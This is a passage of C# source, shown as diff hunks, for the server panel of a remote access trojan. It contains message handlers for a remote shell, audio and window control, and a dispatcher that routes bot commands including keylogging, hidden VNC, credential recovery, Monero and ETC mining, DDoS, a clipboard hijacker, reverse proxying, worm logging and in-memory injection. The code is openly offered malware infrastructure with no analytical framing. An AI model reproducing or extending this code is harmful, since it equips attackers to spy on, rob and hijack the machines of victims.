||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerShell
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
{
|
||||
FormShell form3 = (FormShell)Application.OpenForms["Shell:" + (string)objects[2]];
|
||||
if (form3 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form3.Text = "Shell [" + (string)objects[2] + "]";
|
||||
form3.client = client;
|
||||
form3.richTextBox1.Enabled = true;
|
||||
form3.rjTextBox1.Enabled = true;
|
||||
});
|
||||
client.Tag = form3;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case "Error":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormShell form2 = (FormShell)client.Tag;
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
RichTextBox richTextBox = form2.richTextBox1;
|
||||
richTextBox.Text = richTextBox.Text + "Error: " + (string)objects[2] + "\n";
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "Shell":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormShell form = (FormShell)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.richTextBox1.Text += (string)objects[2];
|
||||
form.richTextBox1.SelectionStart = form.richTextBox1.Text.Length;
|
||||
form.richTextBox1.ScrollToCaret();
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerSystemSound
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (!(text == "Connect"))
|
||||
{
|
||||
if (text == "Sound")
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
}
|
||||
else
|
||||
{
|
||||
((FormSystemSound)client.Tag).Buffer(Decompress((byte[])objects[2]));
|
||||
}
|
||||
}
|
||||
return;
|
||||
}
|
||||
FormSystemSound form = (FormSystemSound)Application.OpenForms["SystemSound:" + (string)objects[2]];
|
||||
if (form == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.Text = "System Sound [" + (string)objects[2] + "]";
|
||||
form.client = client;
|
||||
form.trackBar1.Enabled = true;
|
||||
form.materialSwitch1.Enabled = true;
|
||||
});
|
||||
client.Tag = form;
|
||||
client.Hwid = (string)objects[2];
|
||||
}
|
||||
|
||||
private static byte[] Decompress(byte[] inputBytes)
|
||||
{
|
||||
using MemoryStream stream = new MemoryStream(inputBytes);
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
using (DeflateStream deflateStream = new DeflateStream(stream, CompressionMode.Decompress))
|
||||
{
|
||||
deflateStream.CopyTo(memoryStream);
|
||||
}
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,46 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerVolume
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
string text = (string)objects[1];
|
||||
if (!(text == "Connect"))
|
||||
{
|
||||
if (!(text == "Volume"))
|
||||
{
|
||||
return;
|
||||
}
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
FormVolumeControl form = (FormVolumeControl)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.trackBar1.Value = (int)objects[2];
|
||||
});
|
||||
return;
|
||||
}
|
||||
FormVolumeControl form2 = (FormVolumeControl)Application.OpenForms["Volume:" + (string)objects[2]];
|
||||
if (form2 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
return;
|
||||
}
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.Text = "Volume [" + (string)objects[2] + "]";
|
||||
form2.client = client;
|
||||
form2.trackBar1.Enabled = true;
|
||||
form2.trackBar1.Value = (int)objects[3];
|
||||
});
|
||||
client.Tag = form2;
|
||||
client.Hwid = (string)objects[2];
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,94 @@
|
||||
using System.Windows.Forms;
|
||||
using Server.Connectings;
|
||||
using Server.Forms;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class HandlerWindow
|
||||
{
|
||||
public static void Read(Clients client, object[] objects)
|
||||
{
|
||||
switch ((string)objects[1])
|
||||
{
|
||||
case "Connect":
|
||||
{
|
||||
FormWindow form3 = (FormWindow)Application.OpenForms["Window:" + (string)objects[2]];
|
||||
if (form3 == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
form3.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form3.Text = "Window [" + (string)objects[2] + "]";
|
||||
form3.materialLabel1.Text = "Succues Connect";
|
||||
form3.client = client;
|
||||
form3.dataGridView2.Enabled = true;
|
||||
});
|
||||
client.Tag = form3;
|
||||
client.Hwid = (string)objects[2];
|
||||
break;
|
||||
}
|
||||
case "List":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormWindow form2 = (FormWindow)client.Tag;
|
||||
form2.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form2.dataGridView2.Rows.Clear();
|
||||
form2.materialLabel1.Text = "Succues list window";
|
||||
int num = 2;
|
||||
while (num < objects.Length)
|
||||
{
|
||||
DataGridViewRow dataGridViewRow = new DataGridViewRow
|
||||
{
|
||||
Cells =
|
||||
{
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (bool)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (int)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (int)objects[num++]
|
||||
},
|
||||
(DataGridViewCell)new DataGridViewTextBoxCell
|
||||
{
|
||||
Value = (string)objects[num++]
|
||||
}
|
||||
}
|
||||
};
|
||||
form2.dataGridView2.Rows.Add(dataGridViewRow);
|
||||
}
|
||||
});
|
||||
break;
|
||||
}
|
||||
case "Error":
|
||||
{
|
||||
if (client.Tag == null)
|
||||
{
|
||||
client.Disconnect();
|
||||
break;
|
||||
}
|
||||
FormWindow form = (FormWindow)client.Tag;
|
||||
form.Invoke((MethodInvoker)delegate
|
||||
{
|
||||
form.materialLabel1.Text = "Error: " + (string)objects[2];
|
||||
});
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,200 @@
|
||||
// --- ÍÀ×ÀËÎ ÔÀÉËÀ Packet.cs ---
|
||||
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using Leb128;
|
||||
using Server.Connectings;
|
||||
using Server.Helper;
|
||||
|
||||
namespace Server.Messages;
|
||||
|
||||
internal class Packet
|
||||
{
|
||||
public void Read(Clients client, byte[] data)
|
||||
{
|
||||
try
|
||||
{
|
||||
object[] array = LEB128.Read(data);
|
||||
string command = (string)array[0];
|
||||
|
||||
// --- ËÎÃÈÊÀ ÇÀÙÈÒÛ ÎÒ ÔËÓÄÀ ---
|
||||
// Ïðîâåðÿåì, ÿâëÿåòñÿ ëè ýòî ïàêåòîì "Connect"
|
||||
if (command == "Connect")
|
||||
{
|
||||
// Åñëè êëèåíò ÓÆÅ çàâåðøèë ðóêîïîæàòèå, ýòî àòàêà.
|
||||
if (client.HasCompletedHandshake)
|
||||
{
|
||||
Methods.AppendLogs(client.IP, "Îáíàðóæåí ïîâòîðíûé ïàêåò 'Connect' (ôëóä). Êëèåíò çàáëîêèðîâàí.", Color.Red);
|
||||
client.Disconnect();
|
||||
return; // Íåìåäëåííî âûõîäèì, íå îáðàáàòûâàÿ ïàêåò
|
||||
}
|
||||
}
|
||||
// --- ÊÎÍÅÖ ËÎÃÈÊÈ ÇÀÙÈÒÛ ---
|
||||
|
||||
switch (command)
|
||||
{
|
||||
case "Connect":
|
||||
HandlerConnect.Read(client, array);
|
||||
break;
|
||||
case "Ping":
|
||||
HandlerPing.Read(client, array);
|
||||
break;
|
||||
case "Pong":
|
||||
HandlerPong.Read(client, array);
|
||||
break;
|
||||
case "Error":
|
||||
HandlerError.Read(client, array);
|
||||
break;
|
||||
case "SendFileDisk":
|
||||
Methods.AppendLogs(client.IP, "Succues File: " + (string)array[1], Color.Green);
|
||||
break;
|
||||
case "WormLog":
|
||||
Methods.AppendLogs(client.IP, (string)array[1], Color.DarkBlue);
|
||||
break;
|
||||
case "WormLog1":
|
||||
Methods.AppendLogs(client.IP, (string)array[1], Color.DarkOrange);
|
||||
break;
|
||||
case "WormLog2":
|
||||
Methods.AppendLogs(client.IP, (string)array[1], Color.DarkSeaGreen);
|
||||
break;
|
||||
case "SendFileMemory":
|
||||
Methods.AppendLogs(client.IP, "Succues Inject: " + (string)array[1], Color.Green);
|
||||
break;
|
||||
case "Update":
|
||||
Methods.AppendLogs(client.IP, "Succues Update: " + (string)array[1], Color.Green);
|
||||
break;
|
||||
case "Uninstall":
|
||||
Methods.AppendLogs(client.IP, "Succues Uninstall: " + (string)array[1], Color.Green);
|
||||
break;
|
||||
case "Report":
|
||||
Methods.AppendLogs(client.IP, "Window Report " + client.Hwid + ": " + (string)array[1], Color.Purple);
|
||||
break;
|
||||
case "ReportWindow":
|
||||
HandlerReportWindow.Read(client, array);
|
||||
break;
|
||||
case "GetDLL":
|
||||
HandlerGetDLL.Read(client, array);
|
||||
break;
|
||||
case "Desktop":
|
||||
HandlerDesktop.Read(client, array);
|
||||
break;
|
||||
case "Camera":
|
||||
HandlerCamera.Read(client, array);
|
||||
break;
|
||||
case "Microphone":
|
||||
HandlerMicrophone.Read(client, array);
|
||||
break;
|
||||
case "SystemSound":
|
||||
HandlerSystemSound.Read(client, array);
|
||||
break;
|
||||
case "Explorer":
|
||||
HandlerExplorer.Read(client, array);
|
||||
break;
|
||||
case "HVNC":
|
||||
HandlerHVNC.Read(client, array);
|
||||
break;
|
||||
case "Process":
|
||||
HandlerProcess.Read(client, array);
|
||||
break;
|
||||
case "Regedit":
|
||||
HandlerRegedit.Read(client, array);
|
||||
break;
|
||||
case "Shell":
|
||||
HandlerShell.Read(client, array);
|
||||
break;
|
||||
case "Netstat":
|
||||
HandlerNetstat.Read(client, array);
|
||||
break;
|
||||
case "KeyLogger":
|
||||
HandlerKeyLogger.Read(client, array);
|
||||
break;
|
||||
case "AutoRun":
|
||||
HandlerAutoRun.Read(client, array);
|
||||
break;
|
||||
case "Service":
|
||||
HandlerService.Read(client, array);
|
||||
break;
|
||||
case "Fun":
|
||||
HandlerFun.Read(client, array);
|
||||
break;
|
||||
case "Chat":
|
||||
HandlerChat.Read(client, array);
|
||||
break;
|
||||
case "ReverseProxy":
|
||||
HandlerReverseProxy.Read(client, array);
|
||||
break;
|
||||
case "ReverseProxyR":
|
||||
HandlerReverseProxyR.Read(client, array);
|
||||
break;
|
||||
case "ReverseProxyU":
|
||||
HandlerReverseProxyU.Read(client, array);
|
||||
break;
|
||||
case "Recovery":
|
||||
HandlerRecovery.Read(client, array);
|
||||
break;
|
||||
case "Recovery1":
|
||||
HandlerRecovery1.Read(client, array);
|
||||
break;
|
||||
case "MinerXmr":
|
||||
HandlerMinerXmr.Read(client, array);
|
||||
break;
|
||||
case "DDos":
|
||||
HandlerDDos.Read(client, array);
|
||||
break;
|
||||
case "Clipper":
|
||||
HandlerClipper.Read(client, array);
|
||||
break;
|
||||
case "Window":
|
||||
HandlerWindow.Read(client, array);
|
||||
break;
|
||||
case "KeyLoggerPanel":
|
||||
HandlerKeyLoggerPanel.Read(client, array);
|
||||
break;
|
||||
case "Programs":
|
||||
HandlerPrograms.Read(client, array);
|
||||
break;
|
||||
case "Clipboard":
|
||||
HandlerClipboard.Read(client, array);
|
||||
break;
|
||||
case "BotSpeaker":
|
||||
HandlerBotSpeaker.Read(client, array);
|
||||
break;
|
||||
case "HostsFile":
|
||||
HandlerHostsFile.Read(client, array);
|
||||
break;
|
||||
case "Notepad":
|
||||
HandlerNotepad.Read(client, array);
|
||||
break;
|
||||
case "Volume":
|
||||
HandlerVolume.Read(client, array);
|
||||
break;
|
||||
case "DeviceManager":
|
||||
HandlerDeviceManager.Read(client, array);
|
||||
break;
|
||||
case "Performance":
|
||||
HandlerPerformance.Read(client, array);
|
||||
break;
|
||||
case "FileSearcher":
|
||||
HandlerFileSearcher.Read(client, array);
|
||||
break;
|
||||
case "MinerEtc":
|
||||
HandlerMinerEtc.Read(client, array);
|
||||
break;
|
||||
case "SendDiskGet":
|
||||
HandlerSendDiskGet.Read(client, array);
|
||||
break;
|
||||
case "SendMemoryGet":
|
||||
HandlerSendMemoryGet.Read(client, array);
|
||||
break;
|
||||
case "Map":
|
||||
HandlerMap.Read(client, array);
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Console.WriteLine(ex.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
// --- ÊÎÍÅÖ ÔÀÉËÀ Packet.cs ---
|
||||
Reference in New Issue
Block a user